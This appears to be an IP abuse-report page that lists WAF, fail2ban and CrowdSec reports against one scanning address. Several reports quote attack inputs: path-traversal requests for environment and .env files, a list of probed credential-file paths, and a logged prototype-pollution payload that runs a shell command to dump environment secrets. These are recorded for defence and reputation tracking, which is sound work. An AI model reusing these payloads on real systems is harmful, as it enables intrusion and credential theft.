🇬🇧
pinguin
2026-10-19 15:47:18
(1 hour ago)
Triggered Cloudflare WAF (firewallManaged) from SG.
Action taken: BLOCK
Protocol: HTTP/2 (POST metho ...
show more
Triggered Cloudflare WAF (firewallManaged) from SG.
Action taken: BLOCK
Protocol: HTTP/2 (POST method)
Endpoint: /icecoder/lib/file-control.php
UA: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
This report was generated by:
https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB
show less
Bad Web Bot
🇩🇪
dave
2026-10-19 13:09:17
(3 hours ago)
threat-feed-sync observed repeated abuse from this IP after local filtering. scenarios=crowdsecurity ...
show more
threat-feed-sync observed repeated abuse from this IP after local filtering. scenarios=crowdsecurity/appsec-vpatch,crowdsecurity/vpatch-CVE-2025-55182,crowdsecurity/vpatch-env-access,custom/traefik-sensitive-path-probe observed_by=1_hosts hit_count=70 first_seen=2026-10-19T13:09:15Z last_seen=2026-10-19T13:09:17Z
show less
Web App Attack
🇬🇧
bensmithurst
2026-10-19 13:02:40
(3 hours ago)
35.240.156.31 - - [19/Oct/2026:13:02:39 +0000] "GET /api/attachments/img/avatar/..%2F..%2F..%2F..%2F ...
show more
35.240.156.31 - - [19/Oct/2026:13:02:39 +0000] "GET /api/attachments/img/avatar/..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron HTTP/1.1" 400 150 "-" "-"
35.240.156.31 - - [19/Oct/2026:13:02:39 +0000] "GET /api/attachments/img/avatar/..%2F..%2F..%2F..%2F..%2F.env HTTP/1.1" 400 150 "-" "-"
35.240.156.31 - - [19/Oct/2026:13:02:39 +0000] "GET /appearance/../../proc/self/environ HTTP/1.1" 400 150 "-" "-"
35.240.156.31 - - [19/Oct/2026:13:02:39 +0000] "GET /%2e%2e/.env HTTP/1.1" 400 150 "-" "-"
35.240.156.31 - - [19/Oct/2026:13:02:40 +0000] "GET /..%2f..%2f.env HTTP/1.1" 400 150 "-" "-"
... [host=LAN***]
show less
Web App Attack
🇩🇪
updown.io
2026-10-19 12:44:50
(4 hours ago)
{"level":"info","ts":1792413889.5948198,"logger":"http.log.access.log1","msg":"handled request","req ...
show more
{"level":"info","ts":1792413889.5948198,"logger":"http.log.access.log1","msg":"handled request","request":{"remote_ip":"35.240.156.31","remote_port":"33018","client_ip":"35.240.156.31","proto":"HTTP/2.0","method":"POST","host":"status.ceredigion.gov.uk","uri":"/api/graphql","headers":{"Sec-Fetch-Site":["same-origin"],"Referer":["https://status.ceredigion.gov.uk"],"Accept-Encoding":["gzip, deflate, br, zstd"],"Sec-Ch-Ua-Platform":["\"Android\""],"Content-Type":["application/json"],"Priority":["u=1, i"],"Content-Length":["86"],"Origin":["https://status.ceredigion.gov.uk"],"Accept":["*/*"],"Accept-Language":["en-US,en;q=0.9"],"Sec-Fetch-Mode":["cors"],"User-Agent":["Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"],"Sec-Ch-Ua":["\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""],"Sec-Fetch-Dest":["empty"],"Sec-Ch-Ua-Mobile":["?1"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"h
...
show less
DDoS Attack
Web App Attack
🇫🇮
as211431.net
2026-10-19 11:44:08
(5 hours ago)
Triggered Cloudflare WAF (firewallCustom) from SG.
Action taken: MANAGED_CHALLENGE
Protocol: HTTP/2 ...
show more
Triggered Cloudflare WAF (firewallCustom) from SG.
Action taken: MANAGED_CHALLENGE
Protocol: HTTP/2 (POST method)
Endpoint: /lib/file-control.php
UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
This report was generated by:
https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB
show less
Bad Web Bot
2026-10-19 11:26:46
(5 hours ago)
Web application attack: http path traversal probing; Web application attack: grafana cve 2021 43798; ...
show more
Web application attack: http path traversal probing; Web application attack: grafana cve 2021 43798; Web application attack: http sensitive files; Probing for exposed secret / credential files; Web application attack: http cve 2021 41773
show less
Hacking
Web App Attack
🇳🇱
Alt255
2026-10-19 02:48:52
(13 hours ago)
[ti-07al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Exam ...
show more
[ti-07al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 35.240.156.31 - - [19/Oct/2026:04:48:45 +0200] "GET /.git/config HTTP/1.1" 404 9081 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; [email protected] )"
...
show less
Bad Web Bot
Web App Attack
🇩🇪
creoline GmbH
2026-10-19 02:47:13
(14 hours ago)
[WAF] Multiple suspicious HTTP requests has been blocked
Bad Web Bot
Web App Attack
2026-10-19 02:33:18
(14 hours ago)
Banned by Fail2Ban on server
Web App Attack
2026-10-19 02:13:36
(14 hours ago)
Detected by CrowdSec: crowdsecurity/http-sensitive-files
Web App Attack
🇺🇸
H24
2026-10-19 01:50:21
(14 hours ago)
/secrets.env /@fs/home/ubuntu/.aws/credentials /config/gcp-credentials.json /build/.env /google-cred ...
show more
/secrets.env /@fs/home/ubuntu/.aws/credentials /config/gcp-credentials.json /build/.env /google-credentials.json /llm/.env /.env /.git/config /.git-credentials /server/.env
show less
Web App Attack
🇹🇼
kk_it_man
2026-10-19 01:30:10
(15 hours ago)
Hacking
🇪🇸
el-brujo
2026-10-19 01:19:59
(15 hours ago)
35.240.156.31 - - [19/Oct/2026:03:19:58 +0200] "GET /0dcutp6i5rzc7nb0khod HTTP/2.0" 404 16031 "-" "M ...
show more
35.240.156.31 - - [19/Oct/2026:03:19:58 +0200] "GET /0dcutp6i5rzc7nb0khod HTTP/2.0" 404 16031 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot"
35.240.156.31 - - [19/Oct/2026:03:19:58 +0200] "GET /ntj9wz3bds25mfzifzmh HTTP/2.0" 404 16031 "-" "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"
35.240.156.31 - - [19/Oct/2026:03:19:58 +0200] "GET /z9x8c7v6b5-debug-trigger-www.elhacker.net HTTP/2.0" 404 16031 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"
35.240.156.31 - - [19/Oct/2026:03:19:58 +0200] "GET /.vite/manifest.json HTTP/2.0" 404 16031 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"
...
show less
Web App Attack
Hacking
🇪🇸
el-brujo
2026-10-19 00:41:39
(16 hours ago)
19/Oct/2026:02:41:39.199554 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ...
show more
19/Oct/2026:02:41:39.199554 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 35.240.156.31] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:0. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:0: {\\\\x22then\\\\x22:\\\\x22$1:__proto__:then\\\\x22,\\\\x22status\\\\x22:\\\\x22resolved_model\\\\x22,\\\\x22reason\\\\x22:-1,\\\\x22value\\\\x22:\\\\x22{/\\\\x22then/\\\\x22:/\\\\x22$b1337/\\\\x22}\\\\x22,\\\\x22_response\\\\x22:{\\\\x22_prefix\\\\x22:\\\\x22process.mainmodule.require('child_process').execsync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\\\\x22,\\\\x22_formdata\\\\x22:{\\\\x22get\\\\x22:\\\\x22$1:constructor:constructor\\\\x22}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "
...
show less
Hacking
Web App Attack
2026-10-19 00:37:57
(16 hours ago)
Detected by CrowdSec: crowdsecurity/http-bad-user-agent
Web App Attack
